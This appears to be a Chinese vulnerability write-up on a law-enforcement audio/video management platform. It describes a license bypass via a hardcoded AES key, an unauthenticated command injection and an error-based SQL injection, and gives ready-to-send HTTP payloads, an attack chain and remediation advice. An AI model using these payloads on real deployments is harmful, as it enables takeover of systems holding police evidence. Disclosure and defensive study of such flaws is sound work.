执法视音频综合管理平台未授权RCE漏洞分析
字数 1220 2025-08-22 22:47:39

执法视音频综合管理平台未授权RCE漏洞分析报告

1. 漏洞概述

本文档详细分析了执法视音频综合管理平台存在的多个安全漏洞,包括:

  • License激活绕过漏洞
  • 未授权远程代码执行(RCE)漏洞
  • 前台SQL注入漏洞

这些漏洞可被攻击者组合利用,最终实现未授权远程代码执行,完全控制系统。

2. 系统背景

该系统基于Yii框架开发,采用以下控制器继承结构:

CController (Yii框架原生控制器)
└── UController (自定义基础控制器)
    └── Controller (应用控制器)

权限控制主要通过UController中的accessRules方法实现。

3. License激活绕过漏洞

3.1 漏洞分析

系统在protected/auth/auth.license文件中存储许可证信息,检查逻辑如下:

  1. 检查文件是否存在
  2. 读取文件内容
  3. 使用硬编码密钥进行AES解密
  4. 检查解密后的XML中uuid是否匹配本机UUID

漏洞点:

  • AES密钥硬编码在代码中
  • 解密后的XML结构简单可预测
  • UUID可通过wmic csproduct get uuid命令获取

3.2 漏洞利用

构造合法License文件的步骤:

  1. 获取本机UUID:
wmic csproduct get uuid
  1. 使用以下PHP代码生成加密的License文件:
<?php
class Encrypt{
    const KEY = "hda@2014";
    private $iv = " ";
    private $encryptKey = "ydt20201111111111111111111111111";
    
    // ... 省略加密方法实现 ...
}

$s = "<root><item uuid=\"C14961A3-C997-41B3-9E73-0894A4BD85D5\"></item></root>";
$b = new Encrypt();
echo $b->myencrypt($s);
?>
  1. 将生成的加密字符串写入protected/auth/auth.license文件

4. 未授权远程代码执行漏洞

4.1 漏洞分析

系统权限控制存在缺陷:

  • thirdController可未授权访问
  • actionTimeSyn方法存在命令注入

漏洞代码:

public function actionTimeSyn() {
    if (!isset($_POST["cloudKey"]) && isset($_POST["date"]) && isset($_POST["time"]) || empty($_POST["cloudKey"])) {
        return NULL;
    }
    $cloudKey = SysConfig::model()->findConfigByItem("cloudKey");
    if ($_POST["cloudKey"] != $cloudKey) {
        return NULL;
    }
    @exec("date {$_POST["date"]}");
    @exec("time {$_POST["time"]}");
    exit("1");
}

漏洞点:

  • datetime参数直接拼接进命令
  • 默认情况下cloudKey为空,可利用PHP弱类型比较绕过

4.2 漏洞利用

利用步骤:

  1. 构造恶意POST请求:
POST /index.php?r=Third/TimeSyn HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

cloudKey=0x0&date=|cmd.exe+/c+calc&time=1
  1. 如果系统配置了cloudKey,需先通过SQL注入获取该值

5. 前台SQL注入漏洞

5.1 漏洞分析

RelMediaController直接继承CController,绕过权限控制,其actionFindById方法存在SQL注入:

public function actionFindById() {
    $id = $_POST["id"];
    $uid = "";
    $sql = "select a.*,b.full_name,c.name group_name
            from `media` a,`user` b,`group` c
            where a.police_number=b.police_number and b.group_id=c.id and a.id=" . $id;
    // ...
}

漏洞点:

  • $_POST["id"]直接拼接进SQL语句
  • 系统开启错误回显,适合报错注入

5.2 漏洞利用

利用步骤:

  1. 构造报错注入Payload:
POST /index.php?r=RelMedia/FindById HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

id=1+and+updatexml(1,concat(0x7e,user()),1)--+
  1. 可进一步利用获取sys_config表中的cloudKey

6. 组合利用方案

完整攻击链:

  1. 通过SQL注入获取cloudKey(如有配置)
  2. 利用未授权RCE执行系统命令
  3. 如需激活License,可构造合法License文件绕过

7. 修复建议

  1. 对所有输入参数进行严格过滤和类型检查
  2. 避免使用硬编码加密密钥
  3. 实现完善的权限控制机制
  4. 使用参数化查询防止SQL注入
  5. 对系统命令执行进行严格限制和过滤
  6. 对关键功能增加二次验证机制

8. 参考信息

  • 受影响系统下载链接:https://www.yulongdt.com/int/download.html
  • 漏洞发现时间:2024年9月
  • 漏洞类型:未授权访问、命令注入、SQL注入
执法视音频综合管理平台未授权RCE漏洞分析报告 1. 漏洞概述 本文档详细分析了执法视音频综合管理平台存在的多个安全漏洞,包括: License激活绕过漏洞 未授权远程代码执行(RCE)漏洞 前台SQL注入漏洞 这些漏洞可被攻击者组合利用,最终实现未授权远程代码执行,完全控制系统。 2. 系统背景 该系统基于Yii框架开发,采用以下控制器继承结构: 权限控制主要通过 UController 中的 accessRules 方法实现。 3. License激活绕过漏洞 3.1 漏洞分析 系统在 protected/auth/auth.license 文件中存储许可证信息,检查逻辑如下: 检查文件是否存在 读取文件内容 使用硬编码密钥进行AES解密 检查解密后的XML中 uuid 是否匹配本机UUID 漏洞点: AES密钥硬编码在代码中 解密后的XML结构简单可预测 UUID可通过 wmic csproduct get uuid 命令获取 3.2 漏洞利用 构造合法License文件的步骤: 获取本机UUID: 使用以下PHP代码生成加密的License文件: 将生成的加密字符串写入 protected/auth/auth.license 文件 4. 未授权远程代码执行漏洞 4.1 漏洞分析 系统权限控制存在缺陷: thirdController 可未授权访问 actionTimeSyn 方法存在命令注入 漏洞代码: 漏洞点: date 和 time 参数直接拼接进命令 默认情况下 cloudKey 为空,可利用PHP弱类型比较绕过 4.2 漏洞利用 利用步骤: 构造恶意POST请求: 如果系统配置了 cloudKey ,需先通过SQL注入获取该值 5. 前台SQL注入漏洞 5.1 漏洞分析 RelMediaController 直接继承 CController ,绕过权限控制,其 actionFindById 方法存在SQL注入: 漏洞点: $_POST["id"] 直接拼接进SQL语句 系统开启错误回显,适合报错注入 5.2 漏洞利用 利用步骤: 构造报错注入Payload: 可进一步利用获取 sys_config 表中的 cloudKey 值 6. 组合利用方案 完整攻击链: 通过SQL注入获取 cloudKey (如有配置) 利用未授权RCE执行系统命令 如需激活License,可构造合法License文件绕过 7. 修复建议 对所有输入参数进行严格过滤和类型检查 避免使用硬编码加密密钥 实现完善的权限控制机制 使用参数化查询防止SQL注入 对系统命令执行进行严格限制和过滤 对关键功能增加二次验证机制 8. 参考信息 受影响系统下载链接:https://www.yulongdt.com/int/download.html 漏洞发现时间:2024年9月 漏洞类型:未授权访问、命令注入、SQL注入